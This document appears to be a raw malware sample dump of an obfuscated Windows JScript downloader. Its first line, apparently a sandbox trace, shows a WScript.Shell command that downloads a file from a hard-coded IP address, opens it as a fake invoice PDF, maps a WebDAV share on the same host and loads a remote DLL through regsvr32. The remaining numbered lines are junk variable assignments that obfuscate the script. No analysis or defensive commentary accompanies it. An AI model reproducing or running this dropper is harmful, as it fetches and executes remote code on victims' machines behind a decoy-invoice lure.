Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll",0,false) ➔ 0
14	}
15	kpftuwsl = "C";
16	kpftuwsl = "u";
17	kpftuwsl = "P";
18	kpftuwsl = "E";
19	kpftuwsl = "b";
20	kpftuwsl = "E";
21	kpftuwsl = "z";
22	kpftuwsl = "N";
23	kpftuwsl = "Q";
24	kpftuwsl = "C";
25	kpftuwsl = "o";
26	kpftuwsl = "u";
27	kpftuwsl = "v";
28	kpftuwsl = "P";
29	kpftuwsl = "I";
30	kpftuwsl = "H";
31	kpftuwsl = "s";
32	kpftuwsl = "M";
33	kpftuwsl = "N";
34	kpftuwsl = "s";
35	kpftuwsl = "p";
36	kpftuwsl = "k";
37	kpftuwsl = "C";
38	kpftuwsl = "Q";
39	kpftuwsl = "X";
40	kpftuwsl = "\\";
41	jlwjha = "D";
42	jlwjha = "f";
43	jlwjha = "m";
44	jlwjha = "l";
45	jlwjha = "z";
46	jlwjha = "Q";
47	jlwjha = "D";
48	jlwjha = "Z";
49	jlwjha = "V";
50	jlwjha = "S";
51	jlwjha = "b";
52	jlwjha = "O";
53	hbkdmyrd = "M";
54	hbkdmyrd = "v";
55	hbkdmyrd = "l";
56	hbkdmyrd = "K";
57	hbkdmyrd = "e";
58	hbkdmyrd = "q";
59	hbkdmyrd = "d";
60	hbkdmyrd = "n";
61	hbkdmyrd = "O";
62	hbkdmyrd = "K";
63	hbkdmyrd = "7";
64	ywncneh = "S";
65	ywncneh = "Q";
66	ywncneh = "P";
67	ywncneh = "a";
68	ywncneh = "x";
69	ywncneh = "G";
70	ywncneh = "j";
71	ywncneh = "G";
72	ywncneh = "D";
73	ywncneh = "F";
74	ywncneh = "E";
75	ywncneh = "d";
76	ywncneh = "b";
77	ywncneh = "h";
78	ywncneh = "g";
79	ywncneh = "P";
80	ywncneh = "g";
81	ywncneh = "Y";
82	ywncneh = "b";
83	ywncneh = "p";
84	ywncneh = "d";
85	ywncneh = "E";
86	wpykjvp = "I";
87	wpykjvp = "Q";
88	wpykjvp = "r";
89	wpykjvp = "w";
90	wpykjvp = "W";
91	wpykjvp = "e";
92	wpykjvp = "j";
93	wpykjvp = "W";
94	wpykjvp = "Z";
95	wpykjvp = "f";
96	wpykjvp = "y";
97	wpykjvp = "W";
98	wpykjvp = "Y";
99	wpykjvp = "J";
100	wpykjvp = "l";
101	wpykjvp = "B";
102	wpykjvp = "O";
103	wpykjvp = "m";
104	wpykjvp = "s";
105	wpykjvp = "H";
106	wpykjvp = "t";
107	wpykjvp = "H";
108	wpykjvp = "W";
109	wpykjvp = "P";
110	wpykjvp = "b";
111	wpykjvp = "S";
112	wpykjvp = "p";
113	wpykjvp = "t";
114	wpykjvp = "B";
115	wpykjvp = "J";
116	wpykjvp = "U";
117	wpykjvp = "K";
118	wpykjvp = "Z";
119	wpykjvp = "n";
120	wpykjvp = "N";
121	wpykjvp = "p";
122	wpykjvp = "k";
123	wpykjvp = "s";
124	vjgaph = "J";
125	vjgaph = "q";
126	vjgaph = "X";
127	vjgaph = "i";
128	vjgaph = "r";
129	vjgaph = "X";
130	vjgaph = "k";
131	vjgaph = "j";
132	vjgaph = "5";
133	cqrno = "h";
134	cqrno = "K";
135	cqrno = "W";
136	cqrno = "N";
137	cqrno = "r";
138	cqrno = "l";
139	cqrno = "J";
140	cqrno = "v";
141	cqrno = "j";
142	cqrno = "Z";
143	cqrno = "u";
144	cqrno = "b";
145	cqrno = "l";
146	cqrno = "X";
147	cqrno = "k";
148	cqrno = "r";
149	cqrno = "X";
150	cqrno = "V";
151	cqrno = "I";
152	cqrno = "R";
153	cqrno = "k";
154	cqrno = "Y";
155	cqrno = "H";
156	cqrno = "U";
157	cqrno = "u";
158	cqrno = "R";
159	cqrno = "W";
160	waysii = "a";
161	waysii = "l";
162	waysii = "V";
163	waysii = "l";
164	waysii = "W";
165	waysii = "W";
166	waysii = "s";
167	waysii = "a";
168	waysii = "E";
169	waysii = "U";
170	waysii = "F";
171	waysii = "K";
172	waysii = "S";
173	waysii = "z";
174	waysii = "d";
175	waysii = "o";
176	waysii = "b";
177	waysii = "A";
178	waysii = "K";
179	waysii = "v";
180	waysii = "p";
181	waysii = "P";
182	waysii = "g";
183	waysii = "f";
184	waysii = "B";
185	waysii = "F";
186	xletx = "K";
187	xletx = "I";
188	xletx = "M";
189	xletx = "f";
190	xletx = "P";
191	xletx = "W";
192	xletx = "j";
193	xletx = "o";
194	xletx = "Y";
195	xletx = "K";
196	xletx = "C";
197	xletx = "f";
198	xletx = "w";
199	xilhidos = "h";
200	xilhidos = "l";
201	xilhidos = "m";
202	xilhidos = "m";
203	xilhidos = "d";
204	xilhidos = "J";
205	xilhidos = "t";
206	xilhidos = "E";
207	xilhidos = "F";
208	xilhidos = "y";
209	xilhidos = "g";
210	xilhidos = "z";
211	xilhidos = "c";
212	xilhidos = "R";
213	xilhidos = "q";
214	xilhidos = "T";
215	xilhidos = "C";
216	xilhidos = "n";
217	xilhidos = "i";
218	xilhidos = "g";
219	xilhidos = "T";
220	xilhidos = "y";
221	xilhidos = "y";
222	xilhidos = "p";
223	xilhidos = "L";
224	xilhidos = "S";
225	xilhidos = "b";
226	xilhidos = "D";
227	xilhidos = "L";
228	xilhidos = "P";
229	xilhidos = "_";
230	xtaescq = "E";
231	xtaescq = "u";
232	diybam = "p";
233	diybam = "u";
234	diybam = "p";
235	diybam = "h";
236	diybam = "P";
237	diybam = "m";
238	diybam = "J";
239	diybam = "k";
240	diybam = "Y";
241	diybam = "P";
242	diybam = "X";
243	diybam = "b";
244	diybam = "m";
245	diybam = "S";
246	diybam = "D";
247	diybam = "f";
248	diybam = "n";
249	diybam = "J";
250	diybam = "I";
251	diybam = "b";
252	diybam = "P";
253	diybam = "X";
254	diybam = "B";
255	diybam = "n";
256	diybam = "S";
257	diybam = "C";
258	diybam = "e";
259	diybam = "m";
260	diybam = "a";
261	diybam = "R";
262	diybam = "m";
263	diybam = "V";
264	diybam = "G";
265	diybam = "p";
266	diybam = "X";
267	diybam = "h";
268	diybam = "c";
269	diybam = "i";
270	uhcjs = "C";
271	uhcjs = "H";
272	uhcjs = "S";
273	uhcjs = "n";
274	uhcjs = "T";
275	uhcjs = "H";
276	uhcjs = "m";
277	uhcjs = "r";
278	uhcjs = "Q";
279	uhcjs = "G";
280	uhcjs = "F";
281	uhcjs = "Z";
282	uhcjs = "o";
283	uhcjs = "b";
284	uhcjs = "q";
285	uhcjs = "l";
286	uhcjs = "B";
287	uhcjs = "Q";
288	uhcjs = "e";
289	uhcjs = "Y";
290	uhcjs = "G";
291	uhcjs = "O";
292	uhcjs = "V";
293	uhcjs = "w";
294	uhcjs = "u";
295	uhcjs = "C";
296	uhcjs = "P";
297	uhcjs = "k";
298	uhcjs = "l";
299	uhcjs = "p";
300	ahvfyk = "b";
301	ahvfyk = "M";
302	ahvfyk = "c";
303	ahvfyk = "f";
304	ahvfyk = "z";
305	ahvfyk = "b";
306	ahvfyk = "W";
307	ahvfyk = "K";
308	ahvfyk = "s";
309	ahvfyk = "G";
310	ahvfyk = "W";
311	ahvfyk = "a";
312	ahvfyk = "P";
313	ahvfyk = "u";
314	ahvfyk = "C";
315	ahvfyk = "V";
316	ahvfyk = "N";
317	ahvfyk = "r";
318	ahvfyk = "c";
319	ahvfyk = "G";
320	ahvfyk = "P";
321	ahvfyk = "Z";
322	ahvfyk = "f";
323	ahvfyk = "K";
324	ahvfyk = "o";
325	ahvfyk = "w";
326	ahvfyk = "W";
327	ahvfyk = "s";
328	ahvfyk = "r";
329	ahvfyk = "H";
330	ahvfyk = "y";
331	ahvfyk = "c";
332	ahvfyk = "E";
333	ahvfyk = "K";
334	ahvfyk = "N";
335	ahvfyk = "F";
336	ahvfyk = "t";
337	ahvfyk = "x";
338	ahvfyk = "c";
339	ahvfyk = "X";
340	ahvfyk = "J";
341	ahvfyk = "F";
342	ahvfyk = "b";
343	ahvfyk = "h";
344	aezrky = "f";
345	aezrky = "x";
346	aezrky = "B";
347	aezrky = "t";
348	aezrky = "s";
349	aezrky = "r";
350	aezrky = "V";
351	aezrky = "z";
352	aezrky = "z";
353	aezrky = "L";
354	aezrky = "l";
355	aezrky = "I";
356	aezrky = "n";
357	aezrky = "K";
358	aezrky = "c";
359	aezrky = "u";
360	aezrky = "l";
361	aezrky = "A";
362	aezrky = "V";
363	aezrky = "A";
364	aezrky = "H";
365	aezrky = "D";
366	aezrky = "q";
367	aezrky = "v";
368	aezrky = "b";
369	aezrky = "Y";
370	aezrky = "d";
371	aezrky = "v";
372	aezrky = "v";
373	aezrky = "X";
374	aezrky = "A";
375	aezrky = "T";
376	aezrky = "q";
377	aezrky = "g";
378	aezrky = "a";
379	aezrky = "N";
380	aezrky = "b";
381	aezrky = "J";
382	aezrky = "B";
383	aezrky = "e";
384	aezrky = "Z";
385	aezrky = "z";
386	aezrky = "V";
387	aezrky = "H";
388	zvdfrotkl = "a";
389	zvdfrotkl = "U";
390	zvdfrotkl = "d";
391	zvdfrotkl = "f";
392	zvdfrotkl = "B";
393	zvdfrotkl = "G";
394	zvdfrotkl = "c";
395	zvdfrotkl = "o";
396	zvdfrotkl = "D";
397	zvdfrotkl = "D";
398	zvdfrotkl = "n";
399	zvdfrotkl = "e";
400	zvdfrotkl = "A";
401	zvdfrotkl = "H";
402	zvdfrotkl = "r";
403	zvdfrotkl = "V";
404	zvdfrotkl = "Y";
405	zvdfrotkl = "Y";
406	zvdfrotkl = "p";
407	zvdfrotkl = "w";
408	zvdfrotkl = "H";
409	zvdfrotkl = "D";
410	zvdfrotkl = "i";
411	zvdfrotkl = "i";
412	zvdfrotkl = "h";
413	zvdfrotkl = "l";
414	zvdfrotkl = "w";
415	zvdfrotkl = "c";
416	zvdfrotkl = "s";
417	zvdfrotkl = "j";
418	zvdfrotkl = "9";
419	gczdoug = "f";
420	aduhe = "r";
421	aduhe = "Y";
422	aduhe = "Q";
423	aduhe = "m";
424	aduhe = "Y";
425	aduhe = "g";
426	aduhe = "b";
427	aduhe = "s";
428	aduhe = "j";
429	qksrb = "n";
430	qksrb = "D";
431	qksrb = "I";
432	qksrb = "S";
433	qksrb = "Y";
434	qksrb = "i";
435	qksrb = "J";
436	qksrb = "B";
437	qksrb = "W";
438	qksrb = "U";
439	qksrb = "E";
440	qksrb = "c";
441	qksrb = "b";
442	qksrb = "o";
443	qksrb = "p";
444	qksrb = "k";
445	qksrb = "q";
446	qksrb = "p";
447	qksrb = "A";
448	qksrb = "d";
449	qksrb = "F";
450	qksrb = "W";
451	qksrb = "f";
452	qksrb = "M";
453	qksrb = "O";
454	qksrb = "I";
455	rxcwrltd = "c";
456	rxcwrltd = "d";
457	rxcwrltd = "J";
458	rxcwrltd = "j";
459	rxcwrltd = "i";
460	rxcwrltd = "p";
461	rxcwrltd = "s";
462	rxcwrltd = "a";
463	rxcwrltd = "X";
464	rxcwrltd = "f";
465	rxcwrltd = "H";
466	rxcwrltd = "p";
467	rxcwrltd = "r";
468	rxcwrltd = "o";
469	rxcwrltd = "O";
470	rxcwrltd = "M";
471	rxcwrltd = "t";
472	rxcwrltd = "O";
473	rxcwrltd = "V";
474	rxcwrltd = "t";
475	rxcwrltd = "g";
476	rxcwrltd = "H";
477	rxcwrltd = "C";
478	rxcwrltd = "J";
479	rxcwrltd = "T";
480	rxcwrltd = "n";
481	rlzigclxa = "z";
482	rlzigclxa = "W";
483	rlzigclxa = "Q";
484	rlzigclxa = "P";
485	rlzigclxa = "d";
486	rlzigclxa = "O";
487	rlzigclxa = "R";
488	rlzigclxa = "D";
489	rlzigclxa = "z";
490	rlzigclxa = "N";
491	rlzigclxa = "J";
492	rlzigclxa = "A";
493	rlzigclxa = "O";
494	rlzigclxa = "T";
495	rlzigclxa = "U";
496	rlzigclxa = "r";
497	rlzigclxa = "A";
498	rlzigclxa = "M";
499	rlzigclxa = "T";
500	rlzigclxa = "Q";
501	rlzigclxa = "k";
502	rlzigclxa = "C";
503	rlzigclxa = "h";
504	rlzigclxa = "i";
505	rlzigclxa = "s";
506	rlzigclxa = "N";
507	rlzigclxa = "q";
508	rlzigclxa = "u";
509	rlzigclxa = "A";
510	rlzigclxa = "J";
511	rlzigclxa = "f";
512	rlzigclxa = "p";
513	rlzigclxa = "v";
514	rlzigclxa = "S";
515	rlzigclxa = "Z";
516	rlzigclxa = "4";
517	qvpvhbgta = "B";
518	qvpvhbgta = "t";
519	qvpvhbgta = "s";
520	qvpvhbgta = "E";
521	qvpvhbgta = "O";
522	qvpvhbgta = "p";
523	qvpvhbgta = "v";
524	qvpvhbgta = "C";
525	qvpvhbgta = "Z";
526	qvpvhbgta = "y";
527	qvpvhbgta = "C";
528	qvpvhbgta = "-";
529	mgihmi = "G";
530	mgihmi = "i";
531	mgihmi = "J";
532	mgihmi = "V";
533	mgihmi = "R";
534	mgihmi = "U";
535	mgihmi = "w";
536	mgihmi = "r";
537	mgihmi = "f";
538	mgihmi = "w";
539	mgihmi = "S";
540	mgihmi = "i";
541	mgihmi = "Y";
542	mgihmi = "L";
543	mgihmi = "B";
544	mgihmi = "y";
545	mgihmi = "a";
546	mgihmi = "u";
547	mgihmi = "o";
548	mgihmi = "X";
549	mgihmi = "P";
550	mgihmi = "W";
551	mgihmi = "X";
552	mgihmi = "u";
553	mgihmi = "h";
554	mgihmi = "m";
555	mgihmi = "T";
556	mgihmi = "A";
557	mgihmi = "P";
558	mgihmi = "T";
559	mgihmi = "D";
560	mgihmi = "Q";
561	mgihmi = "a";
562	mgihmi = "s";
563	mgihmi = "Q";
564	mgihmi = "F";
565	mgihmi = "2";
566	tnocwusd = "B";
567	tnocwusd = "h";
568	tnocwusd = "N";
569	tnocwusd = "h";
570	tnocwusd = "A";
571	tnocwusd = "F";
572	tnocwusd = "i";
573	tnocwusd = "O";
574	tnocwusd = "z";
575	tnocwusd = "j";
576	tnocwusd = "b";
577	tnocwusd = "w";
578	tnocwusd = "r";
579	pptlbkvra = "q";
580	pptlbkvra = "Q";
581	pptlbkvra = "f";
582	pptlbkvra = "b";
583	pptlbkvra = "8";
584	xnbfhgsqa = "m";
585	xnbfhgsqa = "w";
586	xnbfhgsqa = "g";
587	xnbfhgsqa = "J";
588	xnbfhgsqa = "q";
589	xnbfhgsqa = "X";
590	xnbfhgsqa = "p";
591	xnbfhgsqa = "o";
592	xnbfhgsqa = "c";
593	xnbfhgsqa = "p";
594	xnbfhgsqa = "Z";
595	xnbfhgsqa = "D";
596	xnbfhgsqa = "g";
597	xnbfhgsqa = "e";
598	xnbfhgsqa = "n";
599	xnbfhgsqa = "g";
600	xnbfhgsqa = "Q";
601	xnbfhgsqa = "U";
602	xnbfhgsqa = "d";
603	xnbfhgsqa = "u";
604	xnbfhgsqa = "V";
605	xnbfhgsqa = "e";
606	xnbfhgsqa = "O";
607	xnbfhgsqa = "B";
608	xnbfhgsqa = "v";
609	xnbfhgsqa = "p";
610	xnbfhgsqa = "m";
611	xnbfhgsqa = "P";
612	xnbfhgsqa = "d";
613	xnbfhgsqa = "t";
614	xnbfhgsqa = "W";
615	xnbfhgsqa = "q";
616	xnbfhgsqa = "W";
617	xnbfhgsqa = "k";
618	xnbfhgsqa = "W";
619	xnbfhgsqa = "Y";
620	xnbfhgsqa = "Q";
621	xnbfhgsqa = "E";
622	xnbfhgsqa = "k";
623	xnbfhgsqa = "W";
624	xnbfhgsqa = "T";
625	bhmik = "c";
626	bhmik = "Q";
627	bhmik = "j";
628	bhmik = "H";
629	bhmik = "j";
630	bhmik = "B";
631	bhmik = "k";
632	bhmik = "n";
633	bhmik = "s";
634	bhmik = "J";
635	bhmik = "L";
636	bhmik = "h";
637	bhmik = "D";
638	bhmik = "o";
639	bhmik = "N";
640	bhmik = "u";
641	bhmik = "d";
642	cbtqmdfm = "Z";
643	cbtqmdfm = "p";
644	cbtqmdfm = "w";
645	cbtqmdfm = "L";
646	cbtqmdfm = "r";
647	cbtqmdfm = "O";
648	cbtqmdfm = "m";
649	cbtqmdfm = "n";
650	cbtqmdfm = "Y";
651	cbtqmdfm = "A";
652	cbtqmdfm = "L";
653	cbtqmdfm = "B";
654	cbtqmdfm = "R";
655	cbtqmdfm = "N";
656	cbtqmdfm = "j";
657	cbtqmdfm = "F";
658	cbtqmdfm = "M";
659	cbtqmdfm = "E";
660	cbtqmdfm = "u";
661	cbtqmdfm = "X";
662	cbtqmdfm = "O";
663	cbtqmdfm = "P";
664	cbtqmdfm = "q";
665	cbtqmdfm = "x";
666	cbtqmdfm = "Z";
667	cbtqmdfm = "A";
668	cbtqmdfm = "&";
669	hbmnfvntu = "P";
670	hbmnfvntu = "E";
671	hbmnfvntu = "q";
672	hbmnfvntu = "w";
673	hbmnfvntu = "U";
674	hbmnfvntu = "u";
675	hbmnfvntu = "Y";
676	hbmnfvntu = "p";
677	hbmnfvntu = "d";
678	hbmnfvntu = "N";
679	hbmnfvntu = "g";
680	hbmnfvntu = "V";
681	hbmnfvntu = "g";
682	hbmnfvntu = "M";
683	hbmnfvntu = "R";
684	hbmnfvntu = "Y";
685	hbmnfvntu = "c";
686	hbmnfvntu = "n";
687	hbmnfvntu = "L";
688	hbmnfvntu = "D";
689	hbmnfvntu = "o";
690	hbmnfvntu = "z";
691	hbmnfvntu = "S";
692	hbmnfvntu = "N";
693	hbmnfvntu = "Q";
694	hbmnfvntu = "b";
695	hbmnfvntu = "m";
696	dgwqpstcq = "e";
697	dgwqpstcq = "v";
698	dgwqpstcq = "c";
699	dgwqpstcq = "O";
700	dgwqpstcq = "H";
701	dgwqpstcq = "s";
702	dgwqpstcq = "0";
703	mrssnwhoq = "Z";
704	mrssnwhoq = "e";
705	mrssnwhoq = "n";
706	mrssnwhoq = "A";
707	mrssnwhoq = "n";
708	mrssnwhoq = "R";
709	mrssnwhoq = "t";
710	mrssnwhoq = "y";
711	mrssnwhoq = "h";
712	mrssnwhoq = "m";
713	mrssnwhoq = "Y";
714	mrssnwhoq = "X";
715	mrssnwhoq = "G";
716	mrssnwhoq = "h";
717	mrssnwhoq = "a";
718	mrssnwhoq = "R";
719	mrssnwhoq = "s";
720	mrssnwhoq = "h";
721	mrssnwhoq = "Z";
722	mrssnwhoq = "t";
723	mrssnwhoq = "W";
724	mrssnwhoq = "q";
725	mrssnwhoq = "d";
726	mrssnwhoq = "W";
727	mrssnwhoq = "P";
728	mrssnwhoq = "U";
729	mrssnwhoq = "1";
730	bbredy = "F";
731	bbredy = "P";
732	bbredy = "U";
733	gkqvf = "a";
734	gkqvf = "o";
735	gkqvf = "i";
736	gkqvf = "N";
737	gkqvf = "C";
738	sdtaijs = "H";
739	sdtaijs = "L";
740	sdtaijs = "A";
741	sdtaijs = "G";
742	sdtaijs = "I";
743	sdtaijs = "S";
744	sdtaijs = "h";
745	sdtaijs = "s";
746	sdtaijs = "U";
747	sdtaijs = "Q";
748	sdtaijs = "3";
749	sytydm = "b";
750	sytydm = "Y";
751	sytydm = "q";
752	sytydm = "g";
753	sytydm = "n";
754	sytydm = "r";
755	sytydm = "g";
756	sytydm = "o";
757	sytydm = "V";
758	sytydm = "t";
759	sytydm = "e";
760	sytydm = "O";
761	sytydm = "H";
762	sytydm = "U";
763	sytydm = "l";
764	sytydm = "W";
765	sytydm = "I";
766	sytydm = "n";
767	sytydm = "h";
768	sytydm = "K";
769	sytydm = "W";
770	sytydm = "U";
771	sytydm = "e";
772	sytydm = "g";
773	sytydm = "Z";
774	sytydm = "o";
775	sytydm = "r";
776	sytydm = "B";
777	sytydm = "F";
778	sytydm = "M";
779	sytydm = "S";
780	vzefbbbbx = "r";
781	vzefbbbbx = "D";
782	vzefbbbbx = "C";
783	vzefbbbbx = "N";
784	vzefbbbbx = "q";
785	vzefbbbbx = "k";
786	zsiloukp = "o";
787	zsiloukp = "f";
788	zsiloukp = "j";
789	zsiloukp = "Z";
790	zsiloukp = "u";
791	zsiloukp = "o";
792	zsiloukp = "b";
793	zsiloukp = "Z";
794	zsiloukp = "B";
795	zsiloukp = "c";
796	zsiloukp = "F";
797	zsiloukp = "l";
798	zsiloukp = "V";
799	zsiloukp = "C";
800	zsiloukp = "W";
801	zsiloukp = "T";
802	zsiloukp = "I";
803	zsiloukp = "D";
804	zsiloukp = "k";
805	zsiloukp = "Y";
806	zsiloukp = "L";
807	zsiloukp = "M";
808	zsiloukp = "t";
809	zsiloukp = "m";
810	zsiloukp = "e";
811	zsiloukp = "t";
812	mhjaqhw = "S";
813	mhjaqhw = "C";
814	mhjaqhw = "a";
815	mhjaqhw = "c";
816	mhjaqhw = "U";
817	mhjaqhw = "@";
818	xsoicvfke = "Q";
819	xsoicvfke = "Y";
820	xsoicvfke = "b";
821	xsoicvfke = "j";
822	xsoicvfke = "O";
823	xsoicvfke = "w";
824	xsoicvfke = "g";
825	xsoicvfke = "i";
826	xsoicvfke = "q";
827	xsoicvfke = "w";
828	xsoicvfke = "a";
829	xsoicvfke = "t";
830	xsoicvfke = "M";
831	xsoicvfke = "W";
832	xsoicvfke = "i";
833	xsoicvfke = "c";
834	xsoicvfke = "c";
835	xsoicvfke = "R";
836	xsoicvfke = "t";
837	xsoicvfke = "p";
838	xsoicvfke = "k";
839	xsoicvfke = "W";
840	xsoicvfke = "Q";
841	xsoicvfke = "r";
842	xsoicvfke = "z";
843	xsoicvfke = "k";
844	xsoicvfke = "G";
845	xsoicvfke = "D";
846	xsoicvfke = "J";
847	xsoicvfke = "Z";
848	xsoicvfke = "v";
849	xsoicvfke = "V";
850	xsoicvfke = "D";
851	xsoicvfke = "s";
852	xsoicvfke = ":";
853	lqcti = "l";
854	lqcti = "Y";
855	lqcti = "z";
856	lqcti = "O";
857	lqcti = "m";
858	lqcti = "T";
859	lqcti = "Q";
860	lqcti = "i";
861	lqcti = "Y";
862	lqcti = "E";
863	lqcti = "T";
864	lqcti = "H";
865	lqcti = "y";
866	lqcti = "b";
867	lqcti = "c";
868	lqcti = "f";
869	lqcti = "Y";
870	lqcti = "M";
871	lqcti = "b";
872	lqcti = "x";
873	lqcti = "V";
874	lqcti = "P";
875	lqcti = "v";
876	lqcti = "J";
877	lqcti = "O";
878	lqcti = "f";
879	lqcti = "t";
880	lqcti = "p";
881	lqcti = "T";
882	lqcti = "l";
883	lqcti = "P";
884	lqcti = "F";
885	lqcti = "K";
886	lqcti = "P";
887	lqcti = "N";
888	wijsbzcfv = "k";
889	wijsbzcfv = "H";
890	wijsbzcfv = "f";
891	wijsbzcfv = "f";
892	wijsbzcfv = "C";
893	wijsbzcfv = "q";
894	wijsbzcfv = "P";
895	wijsbzcfv = "s";
896	wijsbzcfv = "S";
897	wijsbzcfv = "v";
898	wijsbzcfv = "A";
899	wijsbzcfv = "o";
900	oqmgsj = "C";
901	oqmgsj = "n";
902	oqmgsj = "u";
903	oqmgsj = "C";
904	oqmgsj = "B";
905	oqmgsj = "s";
906	oqmgsj = "w";
907	oqmgsj = "A";
908	oqmgsj = "p";
909	oqmgsj = "n";
910	oqmgsj = "f";
911	oqmgsj = "m";
912	oqmgsj = "A";
913	oqmgsj = "j";
914	oqmgsj = "h";
915	oqmgsj = "z";
916	oqmgsj = "B";
917	oqmgsj = "h";
918	oqmgsj = "x";
919	oqmgsj = "E";
920	oqmgsj = "A";
921	oqmgsj = "z";
922	oqmgsj = "X";
923	oqmgsj = "J";
924	oqmgsj = "D";
925	oqmgsj = "q";
926	oqmgsj = "O";
927	oqmgsj = "X";
928	oqmgsj = "r";
929	oqmgsj = "i";
930	oqmgsj = "n";
931	oqmgsj = "k";
932	oqmgsj = "c";
933	oqmgsj = "T";
934	oqmgsj = "x";
935	oqmgsj = "Z";
936	oqmgsj = "q";
937	oqmgsj = "Q";
938	oqmgsj = "L";
939	oqmgsj = "W";
940	oqmgsj = "U";
941	oqmgsj = "r";
942	oqmgsj = "a";
943	oqmgsj = "M";
944	oqmgsj = " ";
945	fqrfgqfu = "h";
946	fqrfgqfu = "T";
947	fqrfgqfu = "c";
948	fqrfgqfu = "F";
949	fqrfgqfu = "g";
950	fqrfgqfu = "W";
951	fqrfgqfu = "e";
952	fqrfgqfu = "w";
953	fqrfgqfu = "G";
954	fqrfgqfu = "o";
955	fqrfgqfu = "B";
956	fqrfgqfu = "J";
957	fqrfgqfu = "P";
958	fqrfgqfu = "C";
959	fqrfgqfu = "O";
960	fqrfgqfu = "L";
961	fqrfgqfu = "h";
962	fqrfgqfu = "O";
963	fqrfgqfu = "D";
964	fqrfgqfu = "g";
965	fqrfgqfu = "E";
966	fqrfgqfu = "N";
967	fqrfgqfu = "X";
968	fqrfgqfu = "V";
969	fqrfgqfu = "F";
970	fqrfgqfu = "q";
971	fqrfgqfu = "q";
972	fqrfgqfu = "L";
973	fqrfgqfu = "E";
974	fqrfgqfu = "m";
975	fqrfgqfu = "w";
976	fqrfgqfu = "h";
977	fqrfgqfu = "r";
978	fqrfgqfu = "n";
979	fqrfgqfu = "t";
980	fqrfgqfu = "H";
981	fqrfgqfu = "A";
982	fqrfgqfu = "D";
983	fqrfgqfu = "R";
984	fqrfgqfu = "c";
985	fqrfgqfu = "p";
986	fqrfgqfu = "Y";
987	xhbtfe = "K";
988	xhbtfe = "L";
989	xhbtfe = "O";
990	xhbtfe = "a";
991	xhbtfe = "v";
992	xhbtfe = "u";
993	xhbtfe = "I";
994	xhbtfe = "b";
995	xhbtfe = "i";
996	xhbtfe = "j";
997	xhbtfe = "I";
998	xhbtfe = ".";
999	szkwovwa = "w";
1000	szkwovwa = "i";
1001	szkwovwa = "I";
1002	szkwovwa = "L";
1003	szkwovwa = "K";
1004	szkwovwa = "K";
1005	szkwovwa = "F";
1006	szkwovwa = "A";
1007	szkwovwa = "i";
1008	szkwovwa = "t";
1009	szkwovwa = "d";
1010	szkwovwa = "v";
1011	szkwovwa = "W";
1012	szkwovwa = "N";
1013	szkwovwa = "w";
1014	szkwovwa = "D";
1015	szkwovwa = "h";
1016	szkwovwa = "i";
1017	szkwovwa = "v";
1018	szkwovwa = "I";
1019	szkwovwa = "t";
1020	szkwovwa = "x";
1021	szkwovwa = "M";
1022	szkwovwa = "Y";
1023	szkwovwa = "x";
1024	szkwovwa = "G";
1025	szkwovwa = "m";
1026	szkwovwa = "a";
1027	szkwovwa = "N";
1028	szkwovwa = "q";
1029	szkwovwa = "j";
1030	szkwovwa = "q";
1031	szkwovwa = "D";
1032	szkwovwa = "a";
1033	szkwovwa = "K";
1034	szkwovwa = "D";
1035	szkwovwa = "H";
1036	szkwovwa = "z";
1037	szkwovwa = "T";
1038	szkwovwa = "k";
1039	szkwovwa = "W";
1040	szkwovwa = "U";
1041	szkwovwa = "Z";
1042	szkwovwa = "j";
1043	szkwovwa = "q";
1044	nhyxkw = "p";
1045	nhyxkw = "v";
1046	nhyxkw = "v";
1047	nhyxkw = "I";
1048	nhyxkw = "G";
1049	nhyxkw = "J";
1050	nhyxkw = "K";
1051	nhyxkw = "Q";
1052	nhyxkw = "S";
1053	nhyxkw = "y";
1054	nhyxkw = "z";
1055	nhyxkw = "b";
1056	nhyxkw = "m";
1057	nhyxkw = "z";
1058	nhyxkw = "O";
1059	nhyxkw = "f";
1060	nhyxkw = "T";
1061	nhyxkw = "Y";
1062	nhyxkw = "P";
1063	nhyxkw = "A";
1064	nhyxkw = "o";
1065	nhyxkw = "G";
1066	nhyxkw = "f";
1067	nhyxkw = "p";
1068	nhyxkw = "N";
1069	nhyxkw = "x";
1070	nhyxkw = "n";
1071	nhyxkw = "n";
1072	nhyxkw = "L";
1073	nhyxkw = "I";
1074	nhyxkw = "K";
1075	nhyxkw = "A";
1076	nhyxkw = "X";
1077	nhyxkw = "l";
1078	nhyxkw = "A";
1079	nhyxkw = "X";
1080	nhyxkw = "%";
1081	bofdhge = "G";
1082	bofdhge = "d";
1083	bofdhge = "B";
1084	bofdhge = "a";
1085	bofdhge = "m";
1086	bofdhge = "I";
1087	bofdhge = "Q";
1088	pkkzlwv = "C";
1089	pkkzlwv = "I";
1090	pkkzlwv = "a";
1091	pkkzlwv = "v";
1092	pkkzlwv = "u";
1093	pkkzlwv = "g";
1094	pkkzlwv = "l";
1095	pkkzlwv = "g";
1096	pkkzlwv = "W";
1097	pkkzlwv = "m";
1098	pkkzlwv = "l";
1099	pkkzlwv = "a";
1100	pkkzlwv = "E";
1101	pkkzlwv = "M";
1102	pkkzlwv = "x";
1103	mizgspc = "T";
1104	mizgspc = "R";
1105	mizgspc = "M";
1106	mizgspc = "M";
1107	mizgspc = "d";
1108	mizgspc = "b";
1109	mizgspc = "M";
1110	mizgspc = "k";
1111	mizgspc = "x";
1112	mizgspc = "k";
1113	mizgspc = "F";
1114	mizgspc = "r";
1115	mizgspc = "E";
1116	mizgspc = "S";
1117	mizgspc = "X";
1118	mizgspc = "N";
1119	mizgspc = "y";
1120	mizgspc = "m";
1121	mizgspc = "g";
1122	mizgspc = "h";
1123	mizgspc = "k";
1124	mizgspc = "e";
1125	mizgspc = "W";
1126	mizgspc = "w";
1127	mizgspc = "J";
1128	mizgspc = "W";
1129	mizgspc = "J";
1130	mizgspc = "l";
1131	mizgspc = "j";
1132	mizgspc = "F";
1133	mizgspc = "h";
1134	mizgspc = "X";
1135	mizgspc = "v";
1136	mizgspc = "C";
1137	mizgspc = "H";
1138	mizgspc = "e";
1139	voalozq = "I";
1140	voalozq = "F";
1141	voalozq = "D";
1142	voalozq = "i";
1143	voalozq = "N";
1144	voalozq = "Z";
1145	voalozq = "A";
1146	voalozq = "r";
1147	voalozq = "A";
